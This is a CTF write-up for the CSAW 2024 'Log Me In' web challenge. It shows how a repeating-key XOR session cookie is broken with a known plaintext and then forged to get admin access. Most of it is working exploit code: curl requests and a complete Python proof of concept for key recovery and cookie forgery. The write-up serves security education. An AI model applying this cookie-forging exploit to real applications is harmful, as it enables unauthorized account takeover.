CSAW CTF 2024 - Writeups
Table of Contents
Web/Log Me In
I (definitely did not) have found this challenge in the OSIRIS recruit repository
author: nikobelic29

The challenge have three routes:
/register-> create an account- POST -
username,password,displayname
- POST -
/login-> login to the account- POST -
username,password
- POST -
/user-> user panel that shows user information- GET -
Cookies[info]
- GET -
Our goal is to login as admin user, and for that we need to somehow set the uid value to 0 and visit /user to see the flag.
By default, when we register a new account the uid value is set as 1.
And we cannot try SQLi, because regex matching is done on the username and displayname input using this function:
def is_alphanumeric(text):
pattern = r'^[a-zA-Z0-9]+$'
if re.match(pattern, text):
return True
else:
return False
For the same reason we can’t also try SSTI on displayname.
Another thing we can check for is how the application creates the cookie value, and see if can craft our own cookie with uid = 0.
In utils.py this encode function is used to create the cookie value.
def encode(status: dict) -> str:
try:
plaintext = json.dumps(status).encode()
out = b''
for i,j in zip(plaintext, os.environ['ENCRYPT_KEY'].encode()):
out += bytes([i^j])
return bytes.hex(out)
except Exception as s:
LOG(s)
return None
It requires a dictionary as its input and performs xor with an ENCRYPT_KEY present in the environment variable and outputs the value in hex.

Since XOR is a self-inverse function, if we have two known values we can easily find the third one by reversing the operation. For example suppose:
a ^ b = c
and we know the values of b and c then we can find the value of a by performing XOR with b and c
b ^ c = a
Using this property we can easily find the value of ENCRYPT_KEY by performing XOR with the cookie with its equivalent string value.
Exploit
Register a new account
curl -XPOST 'https://logmein1.ctf.csaw.io/register' --data 'username=h4r1337&password=test&displayname=abcd' -ik
Login using the credentials and get the cookie
curl -XPOST 'https://logmein1.ctf.csaw.io/login' --data 'username=h4r1337&password=test' -ik
HTTP/1.1 200 OK
Server: gunicorn
Date: Sun, 08 Sep 2024 10:49:18 GMT
Connection: close
Content-Type: application/json
Content-Length: 31
Set-Cookie: info=48674c3731025651282f614a4d541e661609415475434f5755530007243e520a141b5751653f1d0b0549587a6d051b1c63746a5825; Expires=Sun, 08 Sep 2024 11:49:18 GMT; Max-Age=3600; HttpOnly; Path=/
{"message":"Login successful"}
Find the value of ENCRYPT_KEY
import json
cookie = '48674c3731025651282f614a4d541e661609415475434f5755530007243e520a141b5751653f1d0b0549587a6d051b1c63746a5825'
user = {
'username': 'h4r1337',
'displays': 'test',
'uid': 1
}
user_plaintext = json.dumps(user).encode()
out = b''
for i, j in zip(user_plaintext, bytes.fromhex(cookie)):
out += bytes([i^j])
print(out)
Use this to craft a new cookie with uid = 0
admin = {
'uid': 0,
'displays': 'admin'
}
admin_plaintext = json.dumps(admin).encode()
admin_cookie = b''
for i,j in zip(admin_plaintext, out):
admin_cookie += bytes([i^j])
print(bytes.hex(admin_cookie))
Now go to /user and change the cookie to see the flag:

Full POC:
import json
import re
import sys
import requests
url = 'https://logmein1.ctf.csaw.io'
def register(username: str, password: str, displays: str) -> bool:
print("[+] Creating Account")
data = {
'username': username,
'password': password,
'displayname': displays
}
response = requests.post(url=url+'/register', data=data)
if response.status_code == 201:
return True
else:
return False
def get_cookie(username: str, password: str) -> str | None:
print("[+] Retrieving Cookie")
data = {
'username': username,
'password': password,
}
response = requests.post(url=url+'/login', data=data)
if response.status_code != 200:
return
cookie = response.cookies['info']
return cookie
def find_encryption_key(user: dict, cookie: str) -> str:
print("[+] Finding Encryption Key")
user_plaintext = json.dumps(user).encode()
out = b''
for i, j in zip(user_plaintext, bytes.fromhex(cookie)):
out += bytes([i^j])
return out.decode()
def create_admin_cookie(enctiption_key: str) -> str:
print("[+] Creating Admin Cookie")
admin = {
'uid': 0,
'displays': 'admin'
}
admin_plaintext = json.dumps(admin).encode()
admin_cookie = b''
for i,j in zip(admin_plaintext, enctiption_key.encode()):
admin_cookie += bytes([i^j])
return bytes.hex(admin_cookie)
def get_flag(admin_cookie: str) -> str | None:
print("[+] Retrieving Flag")
cookies = {'info': admin_cookie}
response = requests.get(url=url+'/user', cookies=cookies)
if response.status_code != 200:
return
pattern = r'csawctf\{.*?\}'
match = re.search(pattern, response.text)
if match:
return match.group(0)
if __name__ == "__main__":
user = {
'username': 'h4r1337',
'displays': 'test',
'uid': 1
}
if not register('h4r1337', 'test', 'test'):
print("Error creating account")
sys.exit(1)
cookie = get_cookie('h4r1337', 'test')
if not cookie:
print("Error logging in")
sys.exit(1)
encryption_key = find_encryption_key(user, cookie)
admin_cookie = create_admin_cookie(encryption_key)
flag = get_flag(admin_cookie)
if flag:
print(f"[*] Found Flag: {flag}")
sys.exit(0)
else:
print("Error")
sys.exit(1)